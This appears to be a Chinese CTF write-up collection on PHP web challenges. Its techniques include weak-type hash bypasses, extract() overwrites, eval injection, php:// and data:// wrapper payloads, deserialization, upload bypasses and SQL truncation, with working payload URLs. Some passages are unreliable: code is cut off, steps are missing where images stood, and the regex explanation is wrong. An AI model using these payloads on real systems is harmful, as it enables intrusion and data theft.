题目
1.各种绕过哦
源题目(from 2017.bkctf)
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd']))
{
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
分析:
看代码定位到die的行,知道了想得到Flag就要让get、post方式得到的uname和passwd的哈希值恒等并且post的id值要等于margin.
第一步:需要sha1()函数的漏洞来绕过,因为sha1()函数无法处理数组类型。所以只有让uname和passwdget值为数组时的哈希值恒为false,即恒等条件成立.
第二步:开头对margin进行了urldecode,所以要将其进行urlencode进行get.
到这里肯定想,嗯网上找个urldecode解码不就得了嘛~
但是-! 因为不论你在百度、谷歌找到的在线解码都默认margin已经不用解码
第三步:直接构造条件
)当然就会有Flag了~
2.TXT?
源题目(from 2017.bkctf)::
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
分析:
开头get方式,找到Flag成立条件,是ac与f恒等且前提要满足ac不能为空以及f的值是从fn文件读取.
方法一:$f = trim(file_get_contents($fn)) 想办法获得一个文本文件fn提取字符串赋值给f.可以在自己的服务器上加个txt内容与ac的get值相等是可以做的...再想出题人不可能让每个做的人去自己服务器写个txt吧...于是在这道题URL框后面加了flag.txt就出现了文本信息“flags”...
方法二:狐火页面工具,运用php输入流,将fn获得的值设置为post进去的值.
3.文件上传测试
源题目(from 2017.bkctf)::
分析:
先用上传一个符合规定的php文件,提示非图片文件.
初步判断应该是改文件后缀名的文件上传绕过题目.
那就直接用火狐与burpsuite的组合,上传一张图片,进行截断,将文件后缀名改为.php.
提交一下,得到了Flag
->非常非常全的文件上传绕过题目解析<-
4.本地包含
源题目(from 2017.bkctf)::
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
分析:
开头有个flag.php提示当前目录存在该文件,但没有出现,所以打印出来即可获得Flag.
可根据$_REQUEST构造get hello的内容,之后给到var_dump函数处理通过eval函数进行字符串打印语句,之后进行执行打印文件.
构造:http://post.bugku.com/hello/(起始网址) + ?hello=print_r(file("flag.php")).
得到Flag.
还有另一道类似的题~方法一样
5.考细心
源题目(from 2017.bkctf)::
进入题目发现:
那我们常规思路试试看一下robots.txt,有收获!
那我们必然访问一下/resus1.php目录文件
那我们看到了if条件构造一下试试呗,前面开头说了改成admin所以—构造:?x=admin 得到Flag.
6.正则?
源题目(from 2017.bkctf):
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
分析:
明白正则就很简单了,/匹配开始,/key匹配第一个key,.*匹配0次或多次的除换行符之外的字符,key再匹配一个key,{4,7}key匹配4次到7次的key,\/.\/中,\为转义字符,即匹配符号//并且之中可匹配除换行符意外的任意字符,(.*key)意思与之前相同,[a-z]可匹配a-z的字母,[:punct:]意思为可以匹配符号,/i的意思是不区分大小写。
7.PHP很烦人?
源题目(from 2017.hbctf):
点进题目链接只有上图的信息,产看源代码之后得到如下:
you are not admin !
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
第一步:首先要构造$user变量的值为“the user is admin”,方法有两种:
第二步:看到hello admin。这个时候上边代码提示包含一个$file参数,里面包含class.php文件?那就试试. 利用php的特殊协议流来获取class.php源码,payload:
http://123.206.66.106/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=php://filter/convert.base64-encode/resource=class.php
(php://filter是一个中间流,这里用在将file变量中的class.php内容转换成base64编码输出).得到
第三步:将得到的base64解码后得到代码:
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>
此时想构造pass参数获得Read类中的file变量并且观察到有魔术方法想到-php反序列化漏洞!
payload:
http://123.206.66.106/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=class.php&pass=O:4:%22Read%22:1:{s:4:%22file%22;s:10:%22./f1a9.php%22;}
最终得到flag.
8.一道签到题
源题目(from 2017.CSTC):
进去看到
查看代码
if (isset($_GET['Username']) && isset($_GET['password'])) {
$logined = true;
$Username = $_GET['Username'];
$password = $_GET['password'];
if (!ctype_alpha($Username)) {$logined = false;}
if (!is_numeric($password) ) {$logined = false;}
if (md5($Username) != md5($password)) {$logined = false;}
if ($logined){
echo "successful";
} else {
echo "login failed!";
}
}
可知想successful就要让变量logined不为false,则Username为纯字母!与password为纯数字! 并要满足md5($Username) = md5($password).
构造成功后见到另一个门槛:
< if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
运用弱类型绕过!构造 得到flag。
9.抽抽奖
源题目(from 2017.CSTC):
开发者模式,动态调试得到flag。
10.never give up
源题目(from bugku):
进来看见只有一行字,查看源代码只看见提示
1p.html
访问1p.html发现跳转到bugku论坛,看别人的提示后说是有302重定向请求...但我浏览器问题可能说啥都没看见,于是自己构造! 修改GET,HOST不要忘了还要改Target处
得到代码
var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%........."
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
解密后得到";
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
看来是作者是要构造payload让我们得到flag,但我们直接访问就可以了
想要构造也可以构造的
payload:
http://120.24.86.145:8006/test/hello.php?id=a&a=php://input&b=%00111111
不要忘了post:bugku is a nice plateform!
flag{tHis_iS_THe_fLaG}
11.I have a jpg,i upload a txt
源题目(from iscc):
源代码:
<?php
include 'hanshu.php';
if(isset($_GET['do']))
{
$do=$_GET['do'];
if($do==upload)
{
if(empty($_FILES))
{
$html1=<<<HTML1
<form action="index.php?do=upload" method="post" enctype="multipart/form-data">
<input type="file" name="filename">
<input type="submit" value="upload">
</form>
HTML1;
echo $html1;
}
else
{ $file=@file_get_contents($_FILES["filename"]["tmp_name"]);
if(empty($file))
{
die('do you upload a file?');
}
else
{
if((strpos($file,'<?')>-1)||(strpos($file,'?>')>-1)||(stripos($file,'php')>-1)||(stripos($file,'<script')>-1)||(stripos($file,'</script')>-1))
{
die('you can\' upload this!');
}
else
{
$rand=mt_rand();
$path='/var/www/html/web-03/uploads/'.$rand.'.txt';
file_put_contents($path, $file);
echo 'your upload success!./uploads/'.$rand.'.txt';
}
}
}
}
elseif($do==rename)
{
if(isset($_GET['re']))
{
$re=$_GET['re'];
$re2=@unserialize(base64_decode(unKaIsA($re,6)));
if(is_array($re2))
{
if(count($re2)==2)
{
$rename='txt';
$rand=mt_rand();
$fp=fopen('./uploads/'.$rand.'.txt','w');
foreach($re2 as $key=>$value)
{
if($key==0)
{
$rename=$value;
}
else
{
if(file_exists('./uploads/'.$value.'.txt')&&is_numeric($value))
{
$file=file_get_contents('./uploads/'.$value.'.txt');
fwrite($fp,$file);
}
}
}
fclose($fp);
waf($rand,$rename);
rename('./uploads/'.$rand.'.txt','./uploads/'.$rand.'.'.$rename);
echo "you success rename!./uploads/$rand.$rename";
}
}
else
{
echo 'please not hack me!';
}
}
elseif(isset($_POST['filetype'])&&isset($_POST['filename']))
{
$filetype=$_POST['filetype'];
$filename=$_POST['filename'];
if((($filetype=='jpg')||($filetype=='png')||($filetype=='gif'))&&is_numeric($filename))
{
$re=KaIsA(base64_encode(serialize(array($filetype,$filename))),6);
header("Location:index.php?do=rename&re=$re");
exit();
}
else
{
echo 'you do something wrong';
}
}
else
{
$html2=<<<HTML2
<form action="index.php?do=rename" method="post">
filetype: <input type="text" name="filetype" /> please input the your file's type</br>
filename: <input type="text" name="filename" /> please input your file's numeric name,like 12345678
else
{
show_source(__FILE__);
}
?>
思路 :
它通过过滤<?、?> 、php以及script标签是不让直接上传php文件的,那就想办法拼接成一个php文件,因为代码机制是允许的,就会给我们flag.
第一步:利用短标签截断上传两个文件,拼在一起是php的短标签格式,1.txt内容:123< ,2.txt内容:? echo "flag";
分别上传成功.
第二步:获得上传两文件的随机文件名,拼接转化规律是获取两个值进行序列化后进行base64加密,然后凯撒移位后,还要将小写字母移位14位,进入rename让两个分散的文件进行拼接构造(因为只有构造才能将两个文件内容拼在一起,短标签成立)
运行后获得base64加密后的
进行凯撒得到
将小写字母向后移14位后的结果(轮盘结构)
构造payload:
http://139.129.108.53:3366/web-03/?do=rename&re=EZisUhnjUdK7wtirSJicSZKtTJOqStA0TYO7uZisU3S6TticTtS4TdS5ScO7zW==
由题意得再次构造条件将文件改名即可,相同算法
直接访问会啥都看不见
用burp截断发送请求,最终找到flag!
12.login
源题目(from bkctf):
hint为 SQL约束攻击 了解完之后
再次登录直接获得flag
这个是my.ini的漏洞。
sql-mode=”NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION”
还是说一下原理吧。。。。
比如一个表的结构是这样的:
create table admin(
username varchar(10) not null,
passwd varchar(10) not null);
可以看到username跟passwd的字节为10 但是这my.ini设置成
sql-mode=”NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION”的话
就算超出也会添加成功
比如:
insert into admin values(‘1234567891 2’,and);
他不会插入“1234567891 2 ”而是插 ”1234567891“ 因为指针到1的时候字节就等于10了。。。
13.复杂php绕过
<?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
echo "a=$a";
break;
}
}
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2))
{
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"])
{
($x2["x21"]>2017)?$b=1:NULL;
echo "b=$b";
}
if(is_array(@$x2["x22"]))
{
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ok?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("kkk?"):NULL;
foreach($x2["x22"] as $key=>$val)
{
$val==="XIPU"?die("haHAHAHAH?"):NULL;
}
$c=1;
echo "c=$c";
}
}
$x3 = $_GET['x3'];
if ($x3 != '15562')
{
if (strstr($x3, 'XIPU'))
{
die("haHAHAHAH?");
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16))
{
$d=1;
echo "d=$d";
}
}
}
if($a && $b && $c && $d){
include "flag.php";
echo "flag!!!";
}
?>
payload:
?x1=1a&x2={%22x21%22:%222018a%22,%22x22%22:[[1,2],0]}&x3=XIPU18570
x1:弱类型比较
x2:array_search is_array绕过
x3:md5('15562') 的第 8 位是 0e 开头的,又是用的 ==,利用弱类型可以只判断前两位,之后的只要都是数字就可以:
payload
import hashlib
for i in xrange(1000000):
s = 'XIPU' + str(i)
mymd5 = hashlib.md5()
mymd5.update(s)
mymd5 = mymd5.hexdigest()
flag = 1
if mymd5[8:10] == '0e':
for j in mymd5[10:24]:
if j.isalpha():
flag = 0
break
if flag == 1:
print s
break